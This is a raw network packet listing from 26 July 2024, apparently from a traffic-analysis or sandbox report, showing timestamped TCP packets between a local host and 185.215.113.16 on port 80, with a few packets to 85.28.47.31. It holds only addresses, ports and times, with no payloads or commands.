Jul 26, 2024 13:49:35.143603086 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.143615007 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.143624067 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.143635035 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.143966913 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.144614935 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.144668102 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.144694090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.144705057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.144715071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.144726038 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.144733906 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.144737005 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.144747019 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.144752026 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.144785881 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.144861937 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.144907951 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.144933939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.144944906 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.144973993 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.145076990 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.145087957 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.145098925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.145108938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.145118952 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.145145893 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.145525932 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.145566940 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.145620108 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.145631075 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.145662069 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.145754099 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.145766020 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.145781040 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.145787954 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.145790100 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.145802021 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.145962954 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.145976067 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.146047115 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.146056890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.146069050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.146080017 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.146090984 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.146192074 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.176923990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:35.179555893 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:35.190135956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.190202951 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.190212965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.190327883 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.190339088 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.190433025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.190443993 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.190493107 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.190695047 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.190712929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.190722942 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.190855980 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.190866947 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.190877914 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.190888882 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.190896988 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.190921068 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.190937042 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.191142082 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.191277027 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.201483965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.201539993 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.201551914 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.201682091 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.201692104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.201703072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.201714039 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.203187943 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.212079048 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.212111950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.212119102 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.212176085 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.212239027 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.212294102 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.212305069 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.212316036 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.212501049 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.212841988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.212853909 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.212865114 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.212874889 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.212886095 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.212893963 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.212896109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.212907076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.212912083 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.212918043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.212928057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.213099003 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.213109016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.213174105 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.213254929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.213265896 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.213275909 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.213285923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.213295937 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.213305950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.213315010 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.213325024 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.213335037 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.213399887 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.213413000 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.224060059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.224070072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.224080086 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.224191904 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.224203110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.224395990 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.224466085 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.224477053 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.224492073 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.224503994 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.224571943 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.224740982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.224751949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.224800110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.224809885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.224821091 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.225065947 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.226535082 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.226577044 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.226579905 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.226591110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.226686001 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.226737022 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.226742029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.226747036 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.227086067 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.227086067 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.252269030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.252280951 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.252300024 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.252310038 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.252321005 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.252331018 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.252341032 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.252351999 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.253088951 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.253099918 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.253109932 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.253119946 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.253132105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.253142118 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.253153086 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.253161907 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.253166914 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.253171921 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.253177881 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.253586054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.254508972 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.254509926 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.254509926 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.254509926 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.262723923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.262778044 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.262789965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.263374090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.263384104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.263395071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.264581919 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.264621019 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.265369892 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.265379906 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.265389919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.265399933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.265413046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.266877890 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.268268108 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.268330097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.268341064 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.268351078 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.268479109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.268496990 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.268507004 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.268685102 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.268697023 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.268824100 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.268834114 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.268845081 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.268855095 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.268865108 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.268876076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.269081116 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.269191980 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.269217014 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.269227028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.269237995 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.269253969 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.269278049 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.281271935 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.281339884 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.281368017 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.281394958 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.281397104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.281409979 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.281524897 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.281552076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.281562090 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.281573057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.281584024 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.281639099 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.281804085 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.281815052 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.281825066 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.281836987 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.282038927 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.282051086 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.282278061 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.282293081 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.292562962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.292690039 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.292973995 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.293124914 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.294897079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.294939041 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.294951916 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.294964075 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.295069933 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.295136929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.295150042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.295217991 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.302320957 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302331924 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302340984 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302351952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302361965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302366972 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.302371979 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302381992 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302392006 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302400112 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.302402020 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302412033 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302422047 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302428007 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.302442074 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302447081 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.302452087 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302463055 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302467108 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.302474022 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302491903 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.302520990 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.302706003 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302716970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302726030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302751064 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302773952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302784920 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302794933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302804947 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302815914 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302824974 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302834988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.302845001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.303244114 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.303271055 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.314819098 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.314882040 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.314893007 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.315026045 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.315037012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.315047026 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.315057993 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.315346003 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.315357924 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.315366983 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.315376997 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.315387964 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.315397978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.315408945 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.315506935 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.315592051 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.317147970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.317158937 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.317169905 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.317198038 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.317223072 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.317286968 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.317297935 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.317307949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.317428112 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.317445993 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.317455053 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.317485094 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.340167046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.340236902 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.340245962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.340257883 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.340415001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.340425014 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.340435028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.340457916 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.340498924 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.340656042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.340720892 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.340734005 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.340744019 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.340754986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.340764999 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.340774059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.340809107 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.341176033 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.341187000 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.341216087 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.341239929 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.352827072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.352909088 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.352921009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.353005886 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.353059053 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.353070021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.353080034 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.353096962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.353384972 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.353396893 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.354187012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.354245901 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.354257107 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.354393959 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.354403973 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.354413986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.354424953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:35.354474068 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:35.357714891 CEST	80	59056	185.215.113.16	192.168.2.6
